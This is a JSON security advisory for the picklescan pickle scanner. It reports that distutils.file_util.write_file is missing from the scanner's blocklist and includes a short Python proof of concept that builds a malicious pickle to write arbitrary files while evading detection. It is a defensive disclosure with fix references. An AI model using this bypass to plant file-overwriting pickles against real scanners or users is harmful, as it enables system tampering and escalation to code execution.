{"id":"PYSEC-2026-1791","summary":"Picklescan vulnerable to Arbitrary File Writing","details":"### Summary\nPicklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.\n\n### Details\nThis is another vulnerability which impacts the downstream user.\n\nBy constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.\n\n### PoC\n```python\nimport pickle\nimport distutils.file_util\n\nclass FileWriteBypass:\n    def __reduce__(self):\n        \n        target_file = \"pwned_config.env\"\n        content = [\"print('I have overwritten your config')\"]\n        \n        return (distutils.file_util.write_file, (target_file, content))\n\npayload = pickle.dumps(FileWriteBypass())\nwith open(\"bypass_filewrite.pkl\", \"wb\") as f:\n    f.write(payload)\n\nprint(\"bypass_filewrite.pkl\")\n```\n\n\u003cimg width=\"853\" height=\"197\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65\" /\u003e\n\nTo fix this just add disutil to the blacklist","aliases":["CVE-2025-71321","GHSA-m273-6v24-x4m4"],"modified":"2026-07-07T17:48:02.358421063Z","published":"2026-07-07T16:03:14.308951Z","references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71321"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/53"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass"},{"type":"PACKAGE","url":"https://pypi.org/project/picklescan"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m273-6v24-x4m4"}],"affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1791.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}